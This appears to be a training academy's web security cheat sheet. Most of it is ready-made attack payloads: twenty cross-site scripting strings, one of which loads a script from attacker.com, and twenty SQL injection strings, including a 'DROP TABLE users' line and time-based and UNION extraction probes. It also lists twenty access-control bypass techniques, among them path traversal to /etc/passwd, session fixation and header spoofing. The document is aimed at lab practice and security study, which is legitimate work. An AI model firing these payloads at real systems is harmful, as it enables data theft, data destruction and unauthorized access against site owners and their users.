🛡️ Web Security Vulnerabilities Cheat Sheet

Semicolon Academy - Comprehensive Security Reference

XSS, SQL Injection & IDOR - Essential Payloads and Techniques

Generated on 7/11/2025 at 3:03:58 PM

🎯 Cross-Site Scripting (XSS) Payloads

Description: Inject malicious scripts to execute in victim browsers

1.

```
<script>alert('XSS')</script>
```

2.

```
<img src=x onerror=alert('XSS')>
```

3.

```
<svg onload=alert('XSS')></svg>
```

4.

```
<iframe src=javascript:alert('XSS')></iframe>
```

5.

```
<body onload=alert('XSS')>
```

6.

```
<input onfocus=alert('XSS') autofocus>
```

7.

```
<select onfocus=alert('XSS') autofocus>
```

8.

```
<textarea onfocus=alert('XSS') autofocus>
```

9.

```
<details open ontoggle=alert('XSS')>
```

10.

```
<marquee onstart=alert('XSS')>
```

11.

```
javascript:alert('XSS')
```

12.

```
<script src=//attacker.com/xss.js></script>
```

13.

```
<link rel=stylesheet href=javascript:alert('XSS')>
```

14.

```
<meta http-equiv=refresh content=0;url=javascript:alert('XSS')>
```

15.

```
<object data=javascript:alert('XSS')>
```

16.

```
<embed src=javascript:alert('XSS')>
```

17.

```
<form action=javascript:alert('XSS')><input type=submit>
```

18.

```
<video><source onerror=alert('XSS')>
```

19.

```
<audio src=x onerror=alert('XSS')>
```

20.

```
'-alert('XSS')-'
```

💉 SQL Injection Payloads

Description: Manipulate database queries to extract or modify data

1.

```
' OR '1'='1
```

2.

```
' OR 1=1 --
```

3.

```
admin'--
```

4.

```
admin'/*
```

5.

```
' OR 1=1#
```

6.

```
') OR ('1'='1
```

7.

```
' OR 1=1 LIMIT 1 --
```

8.

```
1' AND '1'='1
```

9.

```
1' OR '1'='1' --
```

10.

```
'; DROP TABLE users; --
```

11.

```
' UNION SELECT 1,2,3,4,5 --
```

12.

```
' UNION ALL SELECT null,null,null,null --
```

13.

```
1' ORDER BY 1,2,3,4,5 --
```

14.

```
1' GROUP BY 1,2,3,4,5 --
```

15.

```
' HAVING 1=1 --
```

16.

```
'; WAITFOR DELAY '00:00:05' --
```

17.

```
' AND (SELECT COUNT(*) FROM information_schema.tables) > 0 --
```

18.

```
' AND SUBSTRING(@@version,1,1) = '5' --
```

19.

```
1' AND SLEEP(5) --
```

20.

```
' AND 1=(SELECT COUNT(*) FROM tablename); --
```

🔓 IDOR (Insecure Direct Object Reference) Techniques

Description: Access unauthorized objects by manipulating references

1. Sequential ID enumeration: /user/1, /user/2, /user/3

2. File path manipulation: ../../../etc/passwd

3. Parameter pollution: userid=123&role=admin

4. HTTP method manipulation: GET → POST → PUT → DELETE

5. Session cookie manipulation: session_id=other_user_session

6. Hidden parameter discovery: &admin=true&debug=1

7. UUID/GUID enumeration when exposed in responses

8. Timestamp-based prediction: file_2024-06-28.pdf

9. Base64 encoded ID manipulation: decode → modify → encode

10. JSON parameter injection: {"userid": 123, "admin": true}

11. Array parameter manipulation: user[]=123&user[]=admin

12. Nested object reference: user.profile.admin=true

13. API version manipulation: /v1/user/123 vs /v2/user/123

14. Content-Type manipulation: application/json → text/plain

15. Referer header manipulation for authorization bypass

16. X-Forwarded-For IP address spoofing

17. User-Agent string manipulation for access control

18. Host header injection for multi-tenant bypass

19. Cache poisoning for indirect object access

20. Session fixation for accessing other user objects

📚 Recommended Practice Resources

🧪 Practice Labs:

- PortSwigger Web Security Academy (Free hands-on labs)
- OWASP WebGoat (Comprehensive vulnerable application)
- Semicolon Academy Practice Environment
- DVWA (Damn Vulnerable Web Application)
- bWAPP (Buggy Web Application)
- Mutillidae (OWASP training platform)

🎓 Certifications:

- Semicolon Academy Certified Security Specialist
- Advanced Bug Bounty Certification by Semicolon Academy

Semicolon Academy | Web Application Security Training